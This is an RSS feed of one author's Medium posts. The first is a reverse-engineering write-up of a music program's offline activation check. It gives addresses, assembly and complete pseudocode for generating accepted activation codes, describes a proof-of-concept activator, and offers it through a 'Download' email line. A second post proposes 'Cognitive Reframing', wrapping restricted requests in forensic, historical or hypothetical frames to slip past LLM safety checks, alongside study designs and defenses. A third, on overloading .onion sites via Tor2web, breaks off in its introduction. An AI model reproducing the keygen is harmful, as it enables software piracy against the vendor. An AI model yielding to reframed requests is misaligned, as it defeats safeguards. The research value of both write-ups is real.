<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aryan Chehreghani on Medium]]></title>
        <description><![CDATA[Stories by Aryan Chehreghani on Medium]]></description>
        <link>https://medium.com/@aryanchehreghani?source=rss-823ccc0aacb6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*RjSswIyXWnMVvZKoQENiMQ.jpeg</url>
            <title>Stories by Aryan Chehreghani on Medium</title>
            <link>https://medium.com/@aryanchehreghani?source=rss-823ccc0aacb6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:51:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aryanchehreghani/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Music Studio 11.3.0: I Rebuilt the Activation Code from the Client]]></title>
            <link>https://medium.com/@aryanchehreghani/music-studio-11-3-0-i-rebuilt-the-activation-code-from-the-client-77615a6829ca?source=rss-823ccc0aacb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/77615a6829ca</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[software-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Aryan Chehreghani]]></dc:creator>
            <pubDate>Thu, 08 Oct 2026 13:50:44 GMT</pubDate>
            <atom:updated>2026-10-14T16:08:56.375Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8RgUtF8No4SC51bZmhBLVA.png" /></figure><p><em>How I traced the validator, recovered its arithmetic, and reproduced the result on a clean 11.3.0 installation.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CZv-n41v7EWMCa98d8YCWw.png" /></figure><p>Hello guys. This one started with a simple question: if the program can tell whether an activation code is valid without asking a server, how much of that decision is sitting inside the program itself?</p><p>I started reverse engineering the 64-bit Windows build of Music Studio. I wanted a proof that would still work on a fresh installation. So I began at the program’s own activation dialog and traced the code it used to accept or reject a license.</p><p>I eventually reconstructed the local calculation used by the 11.1.0 and 11.3.0 builds I tested. On a fresh 11.3.0 VM the proof of concept activated the product. I then repeated the procedure on my current 11.3.0 installation, restarted the program, and checked the activation state. I also tested feature paths. One KORG sample hit a file-loading error during import on the current installation, so I do not count that import as a successful end-to-end test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*Ae-as51k9S3_M1UsAZIiAA.png" /></figure><p><em>Figure 1. The application reported an activated state. I removed the device-specific values from the published image.</em></p><h3>What I tested</h3><p>Sofeh’s <a href="https://www.sofeh.com/?product=music-studio">Music Studio product page</a> describes paid functions including KORG Pa and Yamaha Tyros imports, Yamaha Style/Pad export, and file loading in the VST edition. It also says activation is tied to a PC. That made the activation dialog and the feature gates useful places to observe the same state from different angles.</p><p>My main target was MusicStudio-win64.exe version 11.3.0. I kept a hash of the original file before changing anything:</p><pre>11.3.0 x64 original SHA-256<br>80D52E64E62CD91E7622654D781310621F1A764DC916C428A66AD7E7A8270239</pre><p>I had also examined an earlier 11.1.0 x64 build. Its SHA-256 was C0257F02CAE5C65B31377B5D69E7432175CEC96B7C785E04E45D5C98D60F8199. The two builds needed separate location checks. I did not assume that a function address in one release would still be valid in the next.</p><p>The test setup was Windows, the installed 64-bit application, its ordinary activation dialog, a debugger, a PE disassembler, and a small local proof of concept. I kept the live Device ID, Request Code and accepted Activation Code out of the screenshots and this article. Those values belong to the test machine; the weakness is in the calculation, not in publishing one machine’s code.</p><h3>I started at the activation window</h3><p>The dialog showed three fields: <strong>Device ID</strong>, <strong>Request Code</strong>, and <strong>Activation Code</strong>. The first two were already populated. I put in a deliberately invalid value and watched the normal rejection message, The activation code is wrong!. That gave me a useful negative test. I could now trace a path that definitely reached the validator.</p><p>I searched the binary for the dialog strings and the rejection message, then walked backward through the references. I also watched the validation routine at runtime with an empty input, three spaces and INVALID-TEST-CODE. The routine returned 0 for those attempts. That mattered because a static match on a string can lead to the wrong code path. The runtime result connected the UI rejection to the function I was reading.</p><p>The 11.1.0 build put the relevant routines at these approximate relative virtual addresses:</p><ul><li>Code formatter: 0xE1FB0</li><li>Arithmetic helper: 0xE2090</li><li>Validator: 0xE2170</li></ul><p>In 11.3.0 the corresponding locations were:</p><ul><li>Code formatter: 0xE49E0</li><li>Arithmetic helper: 0xE4AC0</li><li>Validator: 0xE4BA0</li></ul><p>These are RVAs, not fixed process addresses. ASLR changes the loaded base address. I found 19 direct call sites to the validator in 11.1.0 and 20 in 11.3.0. The extra call site was another reason to check the new build instead of applying old offsets blindly.</p><h3>The calculation in plain words</h3><p>The client had everything needed to derive the value that its own validator would accept. It took the ASCII bytes of the Request Code, multiplied each byte by its one-based position, and added the products with 32-bit integer wraparound. It then produced four decimal chunks using the divisors 27, 16, 47, and 34.</p><p>For each chunk, the routine multiplied the current sum by 16, divided by that chunk’s divisor, and checked whether the quotient was above 9999. If it was, the current sum was halved and the division repeated. The chunks were joined with hyphens. This is the logic I reproduced:</p><pre>sum = 0<br>for each ASCII byte b at zero-based position i:<br>    sum = int32_wrap(sum + b * (i + 1))</pre><pre>parts = []<br>for divisor in [27, 16, 47, 34]:<br>    current = sum<br>    do:<br>        quotient = truncate_toward_zero(current * 16 / divisor)<br>        if quotient &gt; 9999:<br>            current = truncate_toward_zero(current / 2)<br>    while quotient &gt; 9999<br>    parts.append(decimal(quotient))</pre><pre>activation_code = join(parts, &quot;-&quot;)</pre><p>The actual Request Code and resulting Activation Code are intentionally absent here. The algorithm is enough to explain the finding. The exact accepted value was calculated locally, entered through the program’s normal field, and accepted. After a restart the application still reported professional activation. On that first 11.1.0 test I checked that the EXE and VST DLL hashes were unchanged. I had not patched the binary to obtain the initial acceptance.</p><h3>PE coordinates: file bytes, RVA and process memory</h3><p>I want to be precise about the addresses because it is very easy to publish a debugger address that only works in one process. The 11.3.0 executable is a 64-bit PE (Machine = 0x8664) with preferred image base 0x100000000. Its .text section starts at RVA 0x1000 and raw file offset 0x400. The code bytes for the arithmetic helper at RVA 0xE4AC0 therefore begin at file offset 0xE3EC0. The .bss section starts at RVA 0xA15000, which is why the Request Code and Activation Code globals at 0xA17DB8 and 0xA17DC0 are runtime data, not byte strings I could read directly from the EXE on disk.</p><ul><li>PE section: .text; RVA: 0x1000; Raw file offset: 0x400; What mattered here: Formatter, helper, validator and callers</li><li>PE section: .bss; RVA: 0xA15000; Raw file offset: no raw bytes; What mattered here: Live string pointers</li><li>PE section: .rsrc; RVA: 0x6233000; Raw file offset: 0xA19600; What mattered here: Later Help-menu credit, separate from license logic</li></ul><p>At runtime I used module_base + RVA. In the live check on my current installation the module base happened to be 0x100000000, but the PoC does not require that address. It obtains the module base from the target process first.</p><h3>The validator in actual instructions</h3><p>The core of the 11.3.0 validator at RVA 0xE4BA0 is short enough to follow directly. This is a selected, unmodified excerpt; addresses are RVAs:</p><pre>E4BB5  mov  rax, [rip + 0x9331FC]   ; global at A17DB8: RequestCode pointer<br>E4BC3  call E49E0                  ; format the expected code<br>E4BC8  mov  rdx, [rbp - 0x18]      ; computed string<br>E4BCC  mov  rcx, [rip + 0x9331ED]  ; global at A17DC0: ActivationCode pointer<br>E4BD3  call 0000AF20               ; compare the two strings<br>E4BD8  test rax, rax<br>E4BDB  sete byte ptr [rbp - 0x0C] ; comparison == 0 means accepted</pre><p>The two RIP-relative loads resolve to globals eight bytes apart. The formatter’s output is placed in the local at [rbp-0x18]; the saved Activation Code is passed as the other comparison argument. The test and sete pair converts equality into a Boolean result. That is the point where the local calculation becomes the program&#39;s activation decision. I verified the path dynamically using rejected inputs before relying on this static interpretation.</p><p>There is also a retry branch when the validator is called with a nonzero flag and its initial comparison fails. In this build it can recompute up to ten times before returning. That branch does not add an external secret; it calls the same formatter again. I have not assigned a purpose to the intermediate routine at RVA 0xE5C50 because the proof did not require one.</p><h3>How the arithmetic appears in assembly</h3><p>Inside the helper at 0xE4AC0, I followed the weighted sum instead of guessing from the output format. The relevant 11.3.0 instructions are:</p><pre>E4B08  movzx edx, byte ptr [rdx + rcx - 1] ; one RequestCode byte<br>E4B10  imul  edx, ecx                       ; multiply by 1-based index<br>E4B13  add   edx, dword ptr [rbp - 0x14]   ; 32-bit accumulated sum<br>E4B16  mov   dword ptr [rbp - 0x14], edx</pre><pre>E4B3C  movsxd rax, dword ptr [rbp - 0x14]<br>E4B40  shl   rax, 4                         ; multiply by 16<br>E4B47  lea   rcx, [rip + 0x5BDC02]        ; divisor table at 6A2750<br>E4B54  idiv  rcx<br>E4B57  cmp   rax, 0x270F                   ; 9999<br>E4B5D  jg    E4B28                        ; halve and try again</pre><p>The table at RVA 0x6A2750 contains four 32-bit integers: 27, 16, 47, 34. The formatter calls this helper with indices 0 through 3, converts each result to decimal text and inserts hyphens. The right shift and sign adjustment in the retry path implement integer division by two with truncation toward zero. The accumulator is a 32-bit value, so a faithful reproduction must retain wraparound rather than silently promoting the entire sum to an unlimited-size integer.</p><p>To make the calculation concrete without publishing a real device value, I used the synthetic Request Code 100-200-300-400. Its weighted byte sum is 5778. With the table above, the four chunks are 3424, 5778, 1966 and 2719, yielding 3424-5778-1966-2719. This is an illustration of the recovered arithmetic, not a value taken from the tested machine.</p><h3>A live memory cross-check</h3><p>I did not want the RVA claim to rest on disassembly alone. With Music Studio 11.3.0 running, I opened its process for query and read access (0x0410), resolved the main module base, then read the pointer at base + 0xA17DB8. Eight bytes before the pointed-to characters was the string length. I read only that many bytes, checked they were ASCII and matched the four-part numeric Request Code format. The length was 71 bytes, and the value matched the RequestCode entry in the local Activation file. I repeated the same check at base + 0xA17DC0: the Activation Code string was 19 bytes and matched the saved ActivationCode entry. I am reporting the lengths and equality results, not the values.</p><p>That also explains the clean-VM fix in the PoC. It does not need to scrape a screenshot or guess where a dialog might appear. It waits for Music Studio to initialize, reads the live Request Code through the tested pointer, validates the format, and only then computes the code. If the process read is unavailable, the tool can accept a manually copied Request Code instead.</p><h3>How widely the validator was called</h3><p>I disassembled the 11.3.0 .text section and counted 20 direct call instructions targeting RVA 0xE4BA0. The direct call sites were:</p><pre>058A2B  05E6A2  05E6BA  077DBA  085A95<br>085AB5  08624C  08625E  08701A  08702E<br>08AD0C  08BBF3  08BD04  08BD21  0AC18B<br>4ED51E  4F4B13  4F56AF  4F5A46  4F5C63</pre><p>This is a direct-call count, not a claim that I proved the purpose of every caller. One clean example is the call at 0x4F4B13: it passes cl = 1, calls the validator, tests al, and branches on the result. The sequence is visible as mov cl,1 → call E4BA0 → test al,al → jne 4F4B28. The important design point is that the same local Boolean result is consumed in more than one place. I did not need to patch those sites. Once the saved code matched what the validator computed, the ordinary callers saw an accepted state.</p><h3>A PoC that failed for a good reason</h3><p>My first small executable assumed an Activation file would already be present in the installation folder. That worked as a local experiment, but it was a bad assumption for a clean VM. The fresh installation returned:</p><pre>ERROR: The Activation file was not found. Run Music Studio once, then retry.</pre><p>I fixed the flow. When the file was missing, the PoC launched the installed program, read its Request Code from the running process, created the normal [Activation] section, and wrote the calculated code there. The 11.3.0 build stored a pointer to the Request Code at RVA 0xA17DB8; the Activation Code pointer was nearby at 0xA17DC0. The PoC used the module base plus the tested RVA, rather than treating a debugger&#39;s absolute address as portable. It also allowed the Request Code to be entered manually if the memory read was unavailable.</p><p>The next failure was different:</p><pre>ERROR: This executable is not the tested Music Studio 11.1.0 win64 build.</pre><p>That check did its job. The VM had version 11.3.0, while the early PoC only knew the 11.1.0 hash. I inspected the 11.3.0 executable, located the corresponding functions again, confirmed the arithmetic and pointer location, and added its exact hash to the supported list. The updated PoC then worked on the fresh 11.3.0 VM. Later, on my current 11.3.0 installation, it created the Activation file from a state where that file was absent. A --dry-run check afterward reported that the saved code matched the calculated one, without writing any files.</p><p>The hash allowlist is deliberate. This is a tested proof of concept for these two exact binaries, not a claim that every future release behaves the same way.</p><p>The on-disk format is small. My current Activation file is 135 ASCII bytes. It has an [Activation] section with RequestCode= and ActivationCode= keys; the values are 71 and 19 characters respectively. The PoC checks that section, preserves the file&#39;s line-ending style, backs up an existing file before replacing it, and writes through a temporary file before moving it into place. A dry run computes and compares without changing any file. Those details mattered for the VM result: the first version had treated a missing file as an error, whereas the corrected version could create the section after reading the live Request Code.</p><p>My repeatable checkpoints were deliberately separate: exact EXE hash before the run, Request Code recovered from the process, calculated code written to the normal file, a read-only match check, application restart, then UI and feature observations. That sequence makes it possible to tell a calculation error from a UI-only change or an import-format error.</p><h3>What the UI showed after restart</h3><p>On the current installation I relaunched Music Studio. The activation dialog said Music Studio is Activated :). The Help menu contained the active-state entry shown below. KORG and Yamaha import options and the Yamaha export entry were enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*u38OIK7khkVMdFFL64vonQ.png" /></figure><p><em>Figure 2. Music Studio 11.3.0 after the local activation test.</em></p><p>There is an important detail about that Help menu text. The phrase Activated By Aryan Chehreghani - Active is my demonstration marker. A later GUI build replaced two same-length text resources, the menu caption and hint, in the 11.3.0 executable so the credit would be visible there. It made a backup of the original EXE first. That cosmetic resource edit changed the EXE SHA-256 to C3345D0DE883556A0E3586010F517B12174165953C67E2FD21B8B2D0D4CA2C5F. It is separate from the activation-code finding. The earlier acceptance test worked with the original unmodified program.</p><p>I checked the separation at the section level too. The original 11.3.0 EXE and the later branded EXE have different whole-file hashes, but their .text section has the same SHA-256: EAB7B363091DA50C8603045D4D122FCCB2D3499FC4B5AC312AFD006D03710C19. The edited bytes are in the resource text, not the validator instructions quoted above. A reader can therefore reproduce the license result against the original hash and treat the branding as a separate visual marker.</p><p>I do not want a branded menu item to be mistaken for the whole proof. The stronger evidence is the normal activation dialog, the code match on disk, persistence across restart, and the feature paths reached in the application.</p><h3>Feature checks and one honest limitation</h3><p>I used the official sample sets linked from the product page. On the earlier 11.1.0 installation, KORG import finished without an error window. The Yamaha sample imported and the export action created 26 .STY and 14 .PAD files. I also loaded the VST DLL through its VSTPluginMain entry in a VST2 test host, opened the editor and loaded Empty.Template. The before and after states are visible here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nR7ywfeQ7NyILKR2-CW1QA.png" /></figure><p><em>Figure 3. VST editor before the template load in the earlier 11.1.0 test.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWv2HxK3VrCb8nuqcWhtDw.png" /></figure><p><em>Figure 4. VST editor after the template load in the earlier 11.1.0 test.</em></p><p>On the current 11.3.0 installation, KORG import reached its processing stage, then showed Error loading file for a file under the extracted sample folder. I stopped that run. The ZIP passed a CRC check, but that does not explain the importer error. The product page itself notes that some trial/sample imports may fail. I have not established the cause of this particular failure. I also did not repeat the Yamaha export or VST checks on the current 11.3.0 installation. So the conclusion for 11.3.0 is activation accepted and persisted, with import/export entries enabled; it is not a claim that every feature completed an end-to-end test on that build.</p><h3>Why this happened</h3><p>The trust boundary was on the wrong side. The application generated a machine-specific Request Code and verified an Activation Code locally, but the client also contained the complete transformation needed to derive the expected answer. A machine binding can stop one saved code from being copied directly to a different PC. It cannot protect a code-generation rule that the untrusted client itself reveals.</p><p>This was not an online service bypass, remote execution, or a server compromise. It was a local license-validation weakness. Its practical impact is that an attacker with the tested desktop binary can reproduce the accepted code for a Request Code and persist that state through the ordinary activation mechanism. The value of the affected features is described on the vendor’s product page; I did not measure financial impact.</p><p>The most robust fix is to keep the signing authority outside the client. The desktop app can verify a vendor-signed license with a public key, while the private key stays on the vendor’s server. The signed payload can bind the entitlement to a device, product, edition and expiry. Feature entry points should verify the entitlement instead of relying only on a menu label or a single startup check. Existing licenses would need a migration path. Obfuscating this arithmetic or adding a rate limit alone would make analysis slower but would leave the local trust problem intact.</p><h3>Reproduction notes</h3><p>The exact executable hashes above are part of the scope. A reviewer should start from a clean installation of one of those builds, verify the file hash, launch the program to obtain its Request Code, run the matching PoC or independently implement the calculation shown above, and restart the application. The observable checkpoints are: an Activation file containing a matching code, the program’s activated dialog, the active-state Help entry, and access to feature paths. Device-specific values should stay private in a public report.</p><p>The GUI branding step is optional and should be recorded separately because it changes the EXE. The cleanest license proof is the original binary plus the accepted Activation file. My 11.3.0 screenshot contains the later credit marker, so I am spelling out that distinction instead of hiding it.</p><p>That was the bug. A short formula buried in the desktop client was enough to turn a local validator into a local code generator. The part that took the most time was making the proof repeatable across a clean installation and a newer build, then checking the result without claiming more than the tests showed.</p><p><strong>Research by Aryan Chehreghani.</strong> Reverse engineering and testing covered the specified 64-bit Windows builds of Music Studio. Product information: <a href="https://www.sofeh.com/?product=music-studio">Sofeh Music Studio</a>. This write-up documents observations made on the tested machines and does not imply that the vendor has confirmed or fixed the issue.</p><p>🔥<strong>Download </strong>: aryanchehreghani@yahoo.com</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77615a6829ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cognitive Reframing: Can an LLM’s Safety Behavior Change When the Intent Stays the Same?]]></title>
            <link>https://medium.com/@aryanchehreghani/cognitive-reframing-can-an-llms-safety-behavior-change-when-the-intent-stays-the-same-32ff5183a431?source=rss-823ccc0aacb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/32ff5183a431</guid>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[llm-security]]></category>
            <dc:creator><![CDATA[Aryan Chehreghani]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 18:17:08 GMT</pubDate>
            <atom:updated>2026-07-28T18:17:08.772Z</atom:updated>
            <content:encoded><![CDATA[<p>A research-in-progress hypothesis about inconsistent safety-policy enforcement across semantically reframed, intent-equivalent requests</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vghfRMl-izr_qnlb0X0sEw.png" /></figure><p>An AI system may reject a direct request, yet respond to a materially similar request when it is presented as a forensic puzzle, a historical reconstruction, an academic inquiry, or a hypothetical scenario.</p><p>If the underlying objective remains substantially unchanged, what caused the safety behavior to change?</p><p>This question is the starting point of my research into <strong>Cognitive Reframing</strong>: a proposed family of techniques in which the surface frame of a request changes while its underlying information objective remains stable.</p><p>The central concern is not that language models respond differently to differently worded prompts. Some variation is expected and often desirable.</p><p>The narrower security question is this:</p><blockquote><em>Can a change in semantic or narrative framing cause a model to provide meaningfully more specific, actionable, or restricted information without a corresponding change in the underlying user objective?</em></blockquote><p>If the answer is yes, the issue may represent more than ordinary prompt sensitivity. It may indicate a weakness in how safety policies are interpreted and enforced across intent-equivalent inputs.</p><h3>The Basic Idea</h3><p>Consider two requests directed at the same model.</p><p>The first is written plainly and directly. The model identifies it as unsafe and refuses.</p><p>The second preserves much of the same underlying objective, but embeds it inside another cognitive frame:</p><ul><li>a forensic reconstruction,</li><li>a detective investigation,</li><li>a historical analysis,</li><li>a counterfactual scenario,</li><li>an academic exercise,</li><li>or the correction of an apparently innocent misunderstanding.</li></ul><p>The second request may appear less threatening because its surface presentation suggests explanation, analysis, education, or retrospective reasoning.</p><p>However, if the resulting answer provides substantially the same restricted capability as the direct request, then the model may be reacting more strongly to the <strong>frame</strong> than to the <strong>underlying objective</strong>.</p><p>I refer to this candidate pattern as <strong>Cognitive Reframing</strong>.</p><h3>What Cognitive Reframing Is — and Is Not</h3><p>Cognitive Reframing is not simply the use of clever wording.</p><p>It is also not defined by a single prompt template, role-playing instruction, fictional story, or jailbreak phrase.</p><p>The proposed pattern is broader:</p><blockquote><em>The user preserves the underlying information objective while changing the semantic, narrative, temporal, professional, or analytical context through which that objective is presented.</em></blockquote><p>The key distinction is between the <strong>surface form</strong> and the <strong>functional intent</strong>.</p><p>A model may correctly distinguish between legitimate education and harmful facilitation. That distinction is necessary. Not every historical, hypothetical, or investigative request is deceptive.</p><p>The weakness exists only when the reframed request produces a meaningful increase in policy-relevant specificity, actionability, access, or operational usefulness despite preserving an equivalent or near-equivalent underlying objective.</p><p>This is why refusal-rate comparisons alone are not enough.</p><p>The important question is not merely whether the model answered.</p><p>The important question is what capability the answer actually provided.</p><h3>Candidate Reframing Patterns</h3><p>Several recurring forms of reframing may be relevant.</p><h3>Forensic-Puzzle Reframing</h3><p>The request is presented as the reconstruction of an incident from incomplete evidence.</p><p>Instead of asking how to perform an action, the user asks what must have happened, how a fictional incident could be explained, or which sequence of steps best fits the clues.</p><p>The model may interpret the task as retrospective reasoning rather than prospective assistance.</p><h3>Investigative Reframing</h3><p>The user adopts the role of an investigator, analyst, auditor, journalist, or security reviewer.</p><p>The request is framed as identifying likely methods, reconstructing behavior, or explaining how an observed outcome was achieved.</p><h3>Historical Reframing</h3><p>The target information is placed in a historical context.</p><p>Temporal distance may reduce the model’s perceived sense of immediacy, even when the resulting information remains relevant and actionable.</p><h3>Counterfactual Reframing</h3><p>The request is expressed through hypothetical alternatives:</p><p>“What would happen if…?”</p><p>“How might a system behave under these assumptions?”</p><p>“What sequence would be logically necessary in this fictional scenario?”</p><h3>Innocent-Reasoning Reframing</h3><p>The user appears confused, mistaken, or merely curious.</p><p>The model is asked to correct a misunderstanding, complete a reasoning chain, verify a claim, or explain why a hypothetical approach would or would not work.</p><p>Each of these frames may be entirely legitimate in normal use.</p><p>Their relevance to security depends on whether they cause inconsistent treatment of materially equivalent objectives.</p><h3>Why This Could Matter</h3><p>Modern LLM safety systems operate through multiple layers.</p><p>These may include system instructions, model training, input classification, output classification, tool-level permissions, policy filters, and application-specific controls.</p><p>A well-designed system should not depend exclusively on obvious keywords or the superficial tone of a request.</p><p>It should evaluate questions such as:</p><ul><li>What capability is being requested?</li><li>What information would the answer enable?</li><li>How actionable would the output be?</li><li>Does the response meaningfully lower the user’s effort?</li><li>Does the same policy apply when the request is expressed through a different narrative frame?</li></ul><p>If policy enforcement varies primarily because a request sounds analytical, historical, professional, fictional, or educational, the system may exhibit a form of semantic inconsistency.</p><p>This becomes particularly important when an LLM can do more than generate text.</p><p>In tool-enabled systems, the model may be able to:</p><ul><li>retrieve protected information,</li><li>execute code,</li><li>operate software,</li><li>call APIs,</li><li>access internal documents,</li><li>or affect external resources.</li></ul><p>In such environments, inconsistent interpretation of user intent may contribute not only to unsafe text generation, but also to unauthorized actions or access.</p><h3>The Underlying Security Problem</h3><p>The deeper issue is not the existence of any specific wording or jailbreak instruction.</p><p>The problem is that policy enforcement may depend too heavily on surface presentation or inferred conversational framing instead of the underlying requested capability and the actionability of the resulting output.</p><p>A model may reject a request when it appears direct, but become more permissive when the same objective is wrapped inside:</p><ul><li>analysis,</li><li>fiction,</li><li>education,</li><li>history,</li><li>investigation,</li><li>or hypothetical reasoning.</li></ul><p>If the underlying capability remains the same, then the system may be evaluating the story around the request rather than the actual risk of the response.</p><p>That is the core concern.</p><h3>Current Evidence</h3><p>My initial work should be understood as a <strong>pilot investigation</strong>, not a final validation.</p><p>The current evidence suggests that model behavior may be conditioned by framing.</p><p>In several observed interactions, analytical and forensic framing appeared to affect the model’s willingness to continue reasoning or provide additional detail.</p><p>However, these observations are not yet sufficient to establish Cognitive Reframing as a distinct, general, or reproducible attack family.</p><p>The present work has important limitations:</p><ul><li>observations were collected from a limited interaction setting,</li><li>some evidence came from continuing conversations rather than clean sessions,</li><li>exact backend model identity was not always independently verifiable,</li><li>matched baseline prompts were not systematically controlled,</li><li>no statistically meaningful success rate has yet been established,</li><li>and no blinded human evaluation was used to score actionability.</li></ul><p>These limitations matter.</p><p>A convincing result must demonstrate that the framing variable itself explains the change in safety behavior, rather than random model variation, accumulated conversation context, wording differences, or evaluator interpretation.</p><h3>What Strong Validation Would Require</h3><p>A rigorous study should compare groups of prompts that preserve the same underlying objective while varying only the frame.</p><p>Each condition should be tested across:</p><ul><li>multiple clean conversations,</li><li>repeated trials,</li><li>several models and providers,</li><li>different sampling conditions,</li><li>and clearly defined safety domains.</li></ul><p>The outputs should then be evaluated using metrics beyond refusal.</p><p>Useful measurements may include:</p><ul><li>policy compliance,</li><li>specificity,</li><li>operational detail,</li><li>actionability,</li><li>capability transfer,</li><li>semantic equivalence,</li><li>and the amount of effort required to turn the response into real-world action.</li></ul><p>Human evaluators should ideally be blinded to the prompt condition.</p><p>The study should also compare Cognitive Reframing against established patterns such as:</p><ul><li>narrative jailbreaks,</li><li>role-based prompting,</li><li>persuasion techniques,</li><li>multi-turn priming,</li><li>and analysis-based jailbreaks.</li></ul><p>The goal is not merely to demonstrate that reframing sometimes works.</p><p>The stronger question is whether it forms a distinct and useful explanatory category that predicts model behavior better than existing classifications.</p><h3>Falsification Matters</h3><p>A good security hypothesis must be capable of failing.</p><p>The Cognitive Reframing hypothesis would be weakened if controlled tests showed that:</p><ul><li>intent-equivalent prompts receive comparable safety treatment,</li><li>framing does not produce a reliable increase in actionability,</li><li>observed differences disappear in clean conversations,</li><li>the behavior is fully explained by existing jailbreak categories,</li><li>or the effect does not generalize across models and tasks.</li></ul><p>This is important because a new name is not automatically a new vulnerability class.</p><p>The value of the concept depends on whether it helps researchers describe, measure, predict, and mitigate a real recurring weakness.</p><h3>Possible Defenses</h3><p>If the hypothesis is validated, several defensive approaches may be worth exploring.</p><h3>Intent-Preserving Normalization</h3><p>Before policy evaluation, the system could transform the request into a more neutral representation of its underlying capability objective.</p><p>This may reduce overreliance on narrative style, professional framing, or temporal distance.</p><h3>Output-Side Actionability Analysis</h3><p>Instead of judging only the apparent legitimacy of the prompt, the system could evaluate whether the generated response materially enables a restricted capability.</p><h3>Cross-Frame Consistency Testing</h3><p>Safety evaluations could automatically generate multiple semantic frames around the same objective and test whether the policy outcome remains consistent.</p><p>This could become a useful red-team and benchmark methodology even if Cognitive Reframing is ultimately classified as a subtype of an existing attack family.</p><h3>Why I Am Publishing This Early</h3><p>I am publishing this work as research in progress because independent criticism is more valuable than premature certainty.</p><p>I am specifically looking for feedback on:</p><ul><li>related work I may have missed,</li><li>overlap with existing jailbreak taxonomies,</li><li>methods for constructing matched intent-equivalent prompts,</li><li>actionability-scoring frameworks,</li><li>experimental confounds,</li><li>and criteria for distinguishing a new attack family from a variation of an existing one.</li></ul><p>I also welcome independent replication attempts, including negative results.</p><p>A failed replication would be informative.</p><p>A security concept should not survive because it sounds compelling. It should survive because evidence continues to support it under stronger tests.</p><h3>Research Repository</h3><p>The research repository contains the pilot paper, proposed taxonomy, supporting materials, limitations, and an experimental roadmap:</p><p><a href="https://github.com/AryanChehreghani/cognitive-reframing-llm-security">https://github.com/AryanChehreghani/cognitive-reframing-llm-security</a></p><p>The repository includes work on:</p><ul><li>Cognitive Reframing as a proposed attack family,</li><li>Forensic-Puzzle Reframing as a candidate subtype,</li><li>related semantic and narrative modifiers,</li><li>and the broader question of inconsistent policy enforcement across intent-equivalent inputs.</li></ul><h3>Final Thought</h3><p>The difficult problem in LLM safety is not simply teaching a model to recognize dangerous sentences.</p><p>It is teaching a system to evaluate what an interaction actually enables, even when the same objective is wrapped in a different story.</p><p>A request can look academic, historical, fictional, investigative, or innocent while still preserving the same operational goal.</p><p>If a system’s safety behavior changes because the frame changes while the objective remains stable, then the system may not be enforcing policy at the level where the real risk exists.</p><p>That possibility deserves careful testing.</p><p>Not because Cognitive Reframing has already been proven as a new attack family, but because the underlying question is fundamental:</p><blockquote><em>Is the model evaluating the user’s actual objective, or merely the cognitive frame through which that objective is presented?</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32ff5183a431" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Onion Overloading via Tor2web]]></title>
            <link>https://medium.com/@aryanchehreghani/onion-overloading-via-tor2web-77c73fe71dc0?source=rss-823ccc0aacb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/77c73fe71dc0</guid>
            <category><![CDATA[onion]]></category>
            <category><![CDATA[tor]]></category>
            <category><![CDATA[tor2web]]></category>
            <dc:creator><![CDATA[Aryan Chehreghani]]></dc:creator>
            <pubDate>Sun, 23 Nov 2025 20:29:26 GMT</pubDate>
            <atom:updated>2025-11-23T20:29:26.878Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V9Z-oylW-fuI7ePp0KOO7g.jpeg" /></figure><h3>1. Introduction</h3><p>The story began when governments sought to infiltrate or gather information from Onion domains — domains that operated illegally. However, there was also a last resort: when all other paths led to dead ends, they turned to a solution for taking .onion domains offline. This marked the starting point for ultimately inflicting damage on ransomware sites, drug-related operations, mafia networks, and more.</p><p>But this wasn’t easy or straightforward to execute. At first glance, sending excessive traffic to a domain might require routing it through a proxy tunnel, making this approach somewhat challenging.</p><p>What exactly enables this traffic to be sent effortlessly to these domains? A method by which they could take down any .onion domain they wanted in less than 10 minutes — even repeatedly, due to misconfigurations on sites like Lockbit — made this attack feasible. An attack named Onion Overloading via Tor2web.</p><p>State-level actors historically struggled with direct action against hidden services operating on the Tor network. Onion services shield origin IPs, enforce multi-layer encrypted routing, and resist conventional volumetric disruption due to Tor’s distributed nature and its inability to forward arbitrary bandwidth surges like clearnet DDoS infrastructures.</p><p>By 2021–2024, as ransomware ecosystems, illicit marketplaces, and trafficked content increased on .onion domains, operators (governmental and private) shifted focus from network-layer disruption to architecture-layer overloading.</p><p>One of the most effective indirect points of pressure became the Tor2web ecosystem — a 